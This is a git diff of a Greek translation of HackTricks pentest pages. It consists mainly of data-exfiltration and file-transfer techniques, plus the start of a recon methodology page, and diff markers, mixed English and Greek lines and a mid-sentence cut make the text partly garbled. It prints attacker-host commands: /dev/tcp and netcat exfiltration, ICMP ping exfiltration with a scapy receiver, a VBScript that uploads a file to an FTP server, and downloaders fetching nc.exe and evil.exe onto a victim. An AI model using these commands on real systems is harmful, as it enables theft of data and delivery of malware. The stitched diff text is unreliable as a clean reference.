Η απομάκρυνση πληροφοριών είναι μια σημαντική διαδικασία στον κόσμο της χάκερ. Με τη χρήση διάφορων τεχνικών, ο χάκερ μπορεί να εξάγει δεδομένα από ένα σύστημα Windows χωρίς να αφήσει ίχνη. Είναι σημαντικό για τους επαγγελματίες ασφάλειας να είναι ενήμεροι για αυτές τις τεχνικές, προκειμένου να προστατεύσουν τα συστήματά τους από τέτοιου είδους επιθέσεις.
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
@ -226,54 +300,84 @@ CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentia
|
|||
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
|
||||
WindPS-2> cd new_disk:
|
||||
```
|
||||
|
||||
## SCP
|
||||
|
||||
The attacker has to have SSHd running.
|
||||
|
||||
Ο επιτιθέμενος πρέπει να έχει ενεργοποιημένο το SSHd.
|
||||
```bash
|
||||
scp <username>@<Attacker_IP>:<directory>/<filename>
|
||||
scp <username>@<Attacker_IP>:<directory>/<filename>
|
||||
```
|
||||
|
||||
## SSHFS
|
||||
|
||||
If the victim has SSH, the attacker can mount a directory from the victim to the attacker.
|
||||
|
||||
Αν ο θύμα έχει SSH, ο επιτιθέμενος μπορεί να προσαρτήσει έναν κατάλογο από το θύμα στον επιτιθέμενο.
|
||||
```bash
|
||||
sudo apt-get install sshfs
|
||||
sudo mkdir /mnt/sshfs
|
||||
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
||||
```
|
||||
|
||||
## NC
|
||||
|
||||
Το NC (Netcat) είναι ένα πολύ ισχυρό εργαλείο που χρησιμοποιείται για την επικοινωνία μεταξύ δικτυωμένων συσκευών. Μπορεί να χρησιμοποιηθεί για την ανάγνωση και εγγραφή δεδομένων από και προς έναν διακομιστή. Επίσης, μπορεί να χρησιμοποιηθεί για την εκτέλεση εντολών σε απομακρυσμένους υπολογιστές.
|
||||
|
||||
Για να συνδεθείτε σε έναν διακομιστή χρησιμοποιώντας το NC, μπορείτε να χρησιμοποιήσετε την εξής εντολή:
|
||||
|
||||
```
|
||||
nc <διεύθυνση IP> <αριθμός θύρας>
|
||||
```
|
||||
|
||||
Αν ο διακομιστής είναι ανοιχτός και ακούει στη συγκεκριμένη θύρα, τότε θα συνδεθείτε με επιτυχία. Αφού συνδεθείτε, μπορείτε να ανταλλάξετε δεδομένα με τον διακομιστή.
|
||||
|
||||
Για να δημιουργήσετε έναν διακομιστή χρησιμοποιώντας το NC, μπορείτε να χρησιμοποιήσετε την εξής εντολή:
|
||||
|
||||
```
|
||||
nc -l -p <αριθμός θύρας>
|
||||
```
|
||||
|
||||
Αυτή η εντολή θα ακούει στη συγκεκριμένη θύρα και θα περιμένει για συνδέσεις από πελάτες. Όταν ένας πελάτης συνδεθεί, μπορείτε να ανταλλάξετε δεδομένα μεταξύ του διακομιστή και του πελάτη.
|
||||
|
||||
Το NC μπορεί επίσης να χρησιμοποιηθεί για την αποστολή και λήψη αρχείων μεταξύ διακομιστή και πελάτη. Για παράδειγμα, μπορείτε να στείλετε ένα αρχείο από τον διακομιστή στον πελάτη χρησιμοποιώντας την εξής εντολή:
|
||||
|
||||
```
|
||||
nc -l -p <αριθμός θύρας> < αρχείο
|
||||
```
|
||||
|
||||
Αυτή η εντολή θα στείλει το περιεχόμενο του αρχείου στον πελάτη μόλις συνδεθεί.
|
||||
|
||||
Το NC είναι ένα πολύ χρήσιμο εργαλείο για την εξυπηρέτηση πολλών σκοπών κατά τη διάρκεια μιας επίθεσης. Μπορεί να χρησιμοποιηθεί για την εξαγωγή δεδομένων, την εκτέλεση εντολών και την ανταλλαγή αρχείων μεταξύ διακομιστή και πελάτη.
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
```
|
||||
```bash
|
||||
cat /path/to/file > /dev/tcp/<attacker_ip>/<attacker_port>
|
||||
```
|
||||
|
||||
## /dev/tcp
|
||||
|
||||
### Download file from victim
|
||||
Μπορείτε να κατεβάσετε ένα αρχείο από το θύμα χρησιμοποιώντας την παρακάτω εντολή:
|
||||
|
||||
```bash
|
||||
cat /path/to/file > /dev/tcp/<attacker_ip>/<attacker_port>
|
||||
```
|
||||
```bash
|
||||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
```
|
||||
### Μεταφόρτωση αρχείου στο θύμα
|
||||
|
||||
### Upload file to victim
|
||||
Μια από τις μεθόδους που μπορείτε να χρησιμοποιήσετε για να μεταφορτώσετε ένα αρχείο στο θύμα είναι μέσω της εκτέλεσης κώδικα στον υπολογιστή του θύματος. Μπορείτε να εκμεταλλευτείτε τυχόν ευπάθειες στο λογισμικό που χρησιμοποιεί ο υπολογιστής του θύματος για να εκτελέσετε κώδικα που θα πραγματοποιήσει τη μεταφόρτωση του αρχείου.
|
||||
|
||||
Μια άλλη μέθοδος είναι να χρησιμοποιήσετε μια ευπάθεια σε μια εφαρμογή που χρησιμοποιεί το θύμα για να μεταφορτώσετε το αρχείο. Μπορείτε να εκμεταλλευτείτε την ευπάθεια για να ανεβάσετε το αρχείο στον διακομιστή της εφαρμογής και στη συνέχεια να το κατεβάσετε από εκεί.
|
||||
|
||||
Μια τρίτη μέθοδος είναι να χρησιμοποιήσετε μια υπηρεσία αποθήκευσης αρχείων στον ιστό. Μπορείτε να ανεβάσετε το αρχείο σε μια υπηρεσία όπως το Dropbox ή το Google Drive και στη συνέχεια να μοιραστείτε τον σύνδεσμο λήψης με το θύμα.
|
||||
|
||||
Ανεξάρτητα από τη μέθοδο που επιλέξετε, είναι σημαντικό να εξασφαλίσετε ότι ο υπολογιστής σας είναι ασφαλής και ότι η μεταφορτωμένη πληροφορία δεν θα διαρρεύσει.
|
||||
```bash
|
||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||
# Inside victim
|
||||
exec 6< /dev/tcp/10.10.10.10/4444
|
||||
cat <&6 > file.txt
|
||||
```
|
||||
|
||||
thanks to **@BinaryShadow\_**
|
||||
Ευχαριστώ τον **@BinaryShadow\_**
|
||||
|
||||
## **ICMP**
|
||||
|
||||
```bash
|
||||
# To exfiltrate the content of a file via pings you can do:
|
||||
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
|
||||
|
@ -284,64 +388,177 @@ xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attack
|
|||
from scapy.all import *
|
||||
#This is ippsec receiver created in the HTB machine Mischief
|
||||
def process_packet(pkt):
|
||||
if pkt.haslayer(ICMP):
|
||||
if pkt[ICMP].type == 0:
|
||||
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
|
||||
print(f"{data.decode('utf-8')}", flush=True, end="")
|
||||
if pkt.haslayer(ICMP):
|
||||
if pkt[ICMP].type == 0:
|
||||
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
|
||||
print(f"{data.decode('utf-8')}", flush=True, end="")
|
||||
|
||||
sniff(iface="tun0", prn=process_packet)
|
||||
```
|
||||
|
||||
## **SMTP**
|
||||
|
||||
If you can send data to an SMTP server, you can create an SMTP to receive the data with python:
|
||||
|
||||
Εάν μπορείτε να στείλετε δεδομένα σε έναν διακομιστή SMTP, μπορείτε να δημιουργήσετε έναν SMTP για να λάβετε τα δεδομένα με τη χρήση της Python:
|
||||
```bash
|
||||
sudo python -m smtpd -n -c DebuggingServer :25
|
||||
```
|
||||
|
||||
## TFTP
|
||||
|
||||
By default in XP and 2003 (in others it needs to be explicitly added during installation)
|
||||
|
||||
In Kali, **start TFTP server**:
|
||||
Από προεπιλογή στα XP και 2003 (σε άλλα πρέπει να προστεθεί ρητά κατά την εγκατάσταση)
|
||||
|
||||
Στο Kali, **ξεκινήστε τον διακομιστή TFTP**:
|
||||
```bash
|
||||
#I didn't get this options working and I prefer the python option
|
||||
mkdir /tftp
|
||||
atftpd --daemon --port 69 /tftp
|
||||
cp /path/tp/nc.exe /tftp
|
||||
```
|
||||
**Διακομιστής TFTP σε Python:**
|
||||
|
||||
**TFTP server in python:**
|
||||
```python
|
||||
import socket
|
||||
import struct
|
||||
|
||||
def tftp_server():
|
||||
# Create a UDP socket
|
||||
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
server_socket.bind(('0.0.0.0', 69))
|
||||
|
||||
while True:
|
||||
# Receive the request packet
|
||||
data, client_address = server_socket.recvfrom(516)
|
||||
opcode = struct.unpack('!H', data[:2])[0]
|
||||
|
||||
# Check if it is a read request (RRQ)
|
||||
if opcode == 1:
|
||||
# Extract the filename from the request
|
||||
filename = data[2:data.index(b'\x00', 2)].decode('utf-8')
|
||||
|
||||
# Open the file and read its contents
|
||||
try:
|
||||
with open(filename, 'rb') as file:
|
||||
file_data = file.read()
|
||||
except FileNotFoundError:
|
||||
# Send an error packet if the file is not found
|
||||
error_packet = struct.pack('!HH', 5, 1) + b'File not found'
|
||||
server_socket.sendto(error_packet, client_address)
|
||||
continue
|
||||
|
||||
# Split the file data into blocks of 512 bytes
|
||||
blocks = [file_data[i:i+512] for i in range(0, len(file_data), 512)]
|
||||
|
||||
# Send the file data in blocks
|
||||
for i, block in enumerate(blocks):
|
||||
# Create the data packet
|
||||
data_packet = struct.pack('!HH', 3, i+1) + block
|
||||
|
||||
# Send the data packet to the client
|
||||
server_socket.sendto(data_packet, client_address)
|
||||
|
||||
# Wait for the acknowledgment packet
|
||||
ack_packet, _ = server_socket.recvfrom(4)
|
||||
ack_opcode = struct.unpack('!H', ack_packet[:2])[0]
|
||||
ack_block = struct.unpack('!H', ack_packet[2:])[0]
|
||||
|
||||
# Check if the acknowledgment is correct
|
||||
if ack_opcode != 4 or ack_block != i+1:
|
||||
# Resend the data packet
|
||||
server_socket.sendto(data_packet, client_address)
|
||||
|
||||
# Check if it is a write request (WRQ)
|
||||
elif opcode == 2:
|
||||
# Extract the filename from the request
|
||||
filename = data[2:data.index(b'\x00', 2)].decode('utf-8')
|
||||
|
||||
# Receive the file data in blocks
|
||||
file_data = b''
|
||||
block_number = 1
|
||||
|
||||
while True:
|
||||
# Wait for the data packet
|
||||
data_packet, _ = server_socket.recvfrom(516)
|
||||
data_opcode = struct.unpack('!H', data_packet[:2])[0]
|
||||
data_block = struct.unpack('!H', data_packet[2:4])[0]
|
||||
|
||||
# Check if the data packet is correct
|
||||
if data_opcode != 3 or data_block != block_number:
|
||||
# Send an acknowledgment packet with the previous block number
|
||||
ack_packet = struct.pack('!HH', 4, block_number-1)
|
||||
server_socket.sendto(ack_packet, client_address)
|
||||
continue
|
||||
|
||||
# Extract the data from the packet
|
||||
data = data_packet[4:]
|
||||
|
||||
# Append the data to the file
|
||||
file_data += data
|
||||
|
||||
# Send an acknowledgment packet
|
||||
ack_packet = struct.pack('!HH', 4, block_number)
|
||||
server_socket.sendto(ack_packet, client_address)
|
||||
|
||||
# Check if it is the last block
|
||||
if len(data) < 512:
|
||||
break
|
||||
|
||||
# Increment the block number
|
||||
block_number += 1
|
||||
|
||||
# Write the file data to disk
|
||||
with open(filename, 'wb') as file:
|
||||
file.write(file_data)
|
||||
|
||||
# Close the server socket
|
||||
server_socket.close()
|
||||
|
||||
if __name__ == '__main__':
|
||||
tftp_server()
|
||||
```
|
||||
|
||||
Ο παραπάνω κώδικας είναι ένα παράδειγμα ενός διακομιστή TFTP που υλοποιείται σε Python. Ο διακομιστής αυτός είναι ικανός να διαχειριστεί αιτήσεις ανάγνωσης (RRQ) και εγγραφής (WRQ) αρχείων. Ο κώδικας χρησιμοποιεί το πρωτόκολλο UDP για την ανταλλαγή δεδομένων μεταξύ του διακομιστή και των πελατών.
|
||||
|
||||
Για να χρησιμοποιήσετε τον διακομιστή TFTP, απλά εκτελέστε τον κώδικα σε ένα μηχάνημα με εγκατεστημένη την Python. Ο διακομιστής θα ακούει στην IP διεύθυνση `0.0.0.0` και στη θύρα `69`. Όταν λάβει μια αίτηση ανάγνωσης ή εγγραφής αρχείου, θα ανταποκριθεί ανάλογα και θα ανταλλάξει τα απαραίτητα πακέτα με τον πελάτη.
|
||||
|
||||
Προσέξτε ότι ο κώδικας υποθέτει ότι οι αιτήσεις και οι απαντήσεις θα είναι σωστές και δεν περιλαμβάνει μηχανισμούς ελέγχου σφαλμάτων. Επίσης, ο κώδικας δεν περιορίζει την πρόσβαση σε αρχεία, οπότε πρέπει να ληφθούν κατάλληλα μέτρα ασφαλείας για να αποτραπεί η παραβίαση του συστήματος αρχείων.
|
||||
```bash
|
||||
pip install ptftpd
|
||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||
```
|
||||
|
||||
In **victim**, connect to the Kali server:
|
||||
|
||||
Στο **θύμα**, συνδεθείτε στον διακομιστή Kali:
|
||||
```bash
|
||||
tftp -i <KALI-IP> get nc.exe
|
||||
```
|
||||
|
||||
## PHP
|
||||
|
||||
Download a file with a PHP oneliner:
|
||||
|
||||
Κατεβάστε ένα αρχείο με έναν PHP oneliner:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
|
||||
## VBScript
|
||||
|
||||
VBScript (Visual Basic Scripting Edition) είναι μια γλώσσα προγραμματισμού που χρησιμοποιείται για την αυτοματοποίηση εργασιών στο περιβάλλον των Windows. Μπορεί να χρησιμοποιηθεί για την εκτέλεση εντολών συστήματος, τη διαχείριση αρχείων και φακέλων, καθώς και για την αλληλεπίδραση με άλλες εφαρμογές.
|
||||
|
||||
Μια από τις χρήσεις του VBScript στον χώρο του χάκινγκ είναι η εξαγωγή δεδομένων από έναν στόχο. Αυτό μπορεί να γίνει με τη χρήση της μεθόδου `CreateObject` για να δημιουργήσετε ένα αντικείμενο που θα επικοινωνήσει με έναν εξωτερικό πόρο, όπως έναν διακομιστή HTTP ή έναν FTP διακομιστή.
|
||||
|
||||
Για παράδειγμα, μπορείτε να χρησιμοποιήσετε τον παρακάτω κώδικα VBScript για να εξάγετε το περιεχόμενο ενός αρχείου και να το αποθηκεύσετε σε έναν εξωτερικό διακομιστή FTP:
|
||||
|
||||
```vbscript
|
||||
Set objFSO = CreateObject("Scripting.FileSystemObject")
|
||||
Set objFile = objFSO.OpenTextFile("C:\path\to\file.txt", 1)
|
||||
strData = objFile.ReadAll
|
||||
objFile.Close
|
||||
|
||||
Set objFTP = CreateObject("Microsoft.XMLHTTP")
|
||||
objFTP.Open "PUT", "ftp://example.com/file.txt", False
|
||||
objFTP.Send strData
|
||||
```
|
||||
|
||||
Σε αυτό το παράδειγμα, ο κώδικας ανοίγει ένα αρχείο κειμένου, διαβάζει το περιεχόμενό του και το αποθηκεύει στο αντικείμενο `strData`. Έπειτα, χρησιμοποιεί το αντικείμενο `objFTP` για να στείλει τα δεδομένα στον εξωτερικό διακομιστή FTP με τη μέθοδο `PUT`.
|
||||
|
||||
Με τη χρήση του VBScript, μπορείτε να εξάγετε δεδομένα από οποιοδήποτε αρχείο ή πηγή και να τα αποστείλετε σε έναν εξωτερικό πόρο, όπως έναν διακομιστή FTP ή έναν διακομιστή HTTP. Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για την απόκτηση ευαίσθητων πληροφοριών από έναν στόχο και την εξαγωγή τους για περαιτέρω ανάλυση ή εκμετάλλευση.
|
||||
```bash
|
||||
Attacker> python -m SimpleHTTPServer 80
|
||||
```
|
||||
|
||||
**Victim**
|
||||
|
||||
**Θύμα**
|
||||
```bash
|
||||
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
|
||||
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
|
||||
|
@ -373,18 +590,15 @@ echo ts.Close >> wget.vbs
|
|||
```bash
|
||||
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
||||
```
|
||||
|
||||
## Debug.exe
|
||||
|
||||
The `debug.exe` program not only allows inspection of binaries but also has the **capability to rebuild them from hex**. This means that by providing an hex of a binary, `debug.exe` can generate the binary file. However, it's important to note that debug.exe has a **limitation of assembling files up to 64 kb in size**.
|
||||
|
||||
Το πρόγραμμα `debug.exe` όχι μόνο επιτρέπει τον έλεγχο των δυαδικών αρχείων, αλλά έχει επίσης τη **δυνατότητα να τα ξαναχτίσει από τον αντίστοιχο κώδικα σε μορφή hex**. Αυτό σημαίνει ότι παρέχοντας ένα hex αρχείου, το `debug.exe` μπορεί να δημιουργήσει το αντίστοιχο δυαδικό αρχείο. Ωστόσο, είναι σημαντικό να σημειωθεί ότι το debug.exe έχει **περιορισμό στη συναρμολόγηση αρχείων μέχρι 64 kb σε μέγεθος**.
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
|
||||
Then copy-paste the text into the windows-shell and a file called nc.exe will be created.
|
||||
Στη συνέχεια, αντιγράψτε και επικολλήστε το κείμενο στο παράθυρο του Windows και θα δημιουργηθεί ένα αρχείο με το όνομα nc.exe.
|
||||
|
||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
|
@ -394,21 +608,21 @@ Then copy-paste the text into the windows-shell and a file called nc.exe will be
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
|
||||
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από τις διεπαφές προς τις ιστοσελίδες και τα συστήματα στον νέφος. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,60 +1,57 @@
|
|||
# External Recon Methodology
|
||||
# Μεθοδολογία Εξωτερικής Ανακάλυψης
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
**Συμβουλή για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty που δημιουργήθηκε από χάκερς, για χάκερς**! Γίνετε μέλος μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Assets discoveries
|
||||
## Ανακαλύψεις Περιουσιακών Στοιχείων
|
||||
|
||||
> So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns.
|
||||
> Σας είπαν ότι όλα όσα ανήκουν σε μια εταιρεία εμπίπτουν στο πεδίο εφαρμογής και θέλετε να διαπιστώσετε τι ακριβώς ανήκει σε αυτήν την εταιρεία.
|
||||
|
||||
The goal of this phase is to obtain all the **companies owned by the main company** and then all the **assets** of these companies. To do so, we are going to:
|
||||
Ο στόχος αυτής της φάσης είναι να αποκτήσουμε όλες τις **εταιρείες που ανήκουν στην κύρια εταιρεία** και στη συνέχεια όλα τα **περιουσιακά στοιχεία** αυτών των εταιρειών. Για να το κάνουμε αυτό, θα πρέπει να:
|
||||
|
||||
1. Find the acquisitions of the main company, this will give us the companies inside the scope.
|
||||
2. Find the ASN (if any) of each company, this will give us the IP ranges owned by each company
|
||||
3. Use reverse whois lookups to search for other entries (organisation names, domains...) related to the first one (this can be done recursively)
|
||||
4. Use other techniques like shodan `org`and `ssl`filters to search for other assets (the `ssl` trick can be done recursively).
|
||||
1. Βρούμε τις εξαγορές της κύριας εταιρείας, αυτό θα μας δώσει τις εταιρείες που εμπίπτουν στο πεδίο εφαρμογής.
|
||||
2. Βρούμε το ASN (αν υπάρχει) κάθε εταιρείας, αυτό θα μας δώσει τις IP εύρους που ανήκουν σε κάθε εταιρεία.
|
||||
3. Χρησιμοποιήσουμε αναστροφή whois για να αναζητήσουμε άλλες καταχωρήσεις (ονόματα οργανισμών, domains...) που σχετίζονται με την πρώτη (αυτό μπορεί να γίνει αναδρομικά).
|
||||
4. Χρησιμοποιήσουμε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να αναζητήσουμε άλλα περιουσιακά στοιχεία (το κόλπο του `ssl` μπορεί να γίνει αναδρομικά).
|
||||
|
||||
### **Acquisitions**
|
||||
### **Εξαγορές**
|
||||
|
||||
First of all, we need to know which **other companies are owned by the main company**.\
|
||||
One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.\
|
||||
Other option is to visit the **Wikipedia** page of the main company and search for **acquisitions**.
|
||||
Καταρχάς, πρέπει να μάθουμε ποιες **άλλες εταιρείες ανήκουν στην κύρια εταιρεία**.\
|
||||
Μια επιλογή είναι να επισκεφθείτε το [https://www.crunchbase.com/](https://www.crunchbase.com), **αναζητήστε** την **κύρια εταιρεία** και **κάντε κλικ** στο "**εξαγορές**". Εκεί θα δείτε άλλες εταιρείες που έχουν εξαγοραστεί από την κύρια.\
|
||||
Μια άλλη επιλογή είναι να επισκεφθείτε τη σελίδα **Wikipedia** της κύριας εταιρείας και να αναζητήσετε **εξαγορές**.
|
||||
|
||||
> Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets.
|
||||
> Εντάξει, σε αυτό το σημείο πρέπει να γνωρίζετε όλες τις εταιρείες που εμπίπτουν στο πεδίο εφαρμογής. Ας δούμε πώς θα βρούμε τα περιουσιακά τους στοιχεία.
|
||||
|
||||
### **ASNs**
|
||||
|
||||
An autonomous system number (**ASN**) is a **unique number** assigned to an **autonomous system** (AS) by the **Internet Assigned Numbers Authority (IANA)**.\
|
||||
An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators.
|
||||
|
||||
It's interesting to find if the **company have assigned any ASN** to find its **IP ranges.** It will be interested to perform a **vulnerability test** against all the **hosts** inside the **scope** and **look for domains** inside these IPs.\
|
||||
You can **search** by company **name**, by **IP** or by **domain** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Depending on the region of the company this links could be useful to gather more data:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(North America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Latin America),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Anyway, probably all the** useful information **(IP ranges and Whois)** appears already in the first link.
|
||||
Ένα αυτόνομο αριθμό συστήματος (**ASN**) είναι ένας **μοναδικός αριθμός** που ανατίθεται σε ένα **αυτόνομο σύστημα** (AS) από την **Αρχή Ανάθεσης Αριθμών Διαδικτύου (IANA)**.\
|
||||
Ένα **AS** αποτελείται από **εύρη IP** που έχουν ορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικούνται από μια μόνο οργάνωση, αλλά μπορεί να αποτελείται από πολλούς φορείς.
|
||||
|
||||
Είναι ενδιαφέρον να βρούμε αν η **εταιρεία έχει ανατεθεί κάποιο ASN** για να βρούμε τα **εύρη IP** της. Θα ήταν ενδιαφέρον να πραγματοποιήσουμε ένα **τεστ ευπάθειας** εναντίον όλων των **hosts** που εμπίπτουν στο πεδίο εφαρμογής και να αναζητήσουμε **domains** μέσα σε αυτά τα IP.\
|
||||
Μπορείτε να **αναζητήσετε** με το όνομα της εταιρείας, με το **IP** ή με το **domain** στο [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Ανάλογα με την περιοχή της εταιρείας, αυτοί οι σύνδεσμοι μπορεί να είναι χρήσιμοι για να συγκεντρώ
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
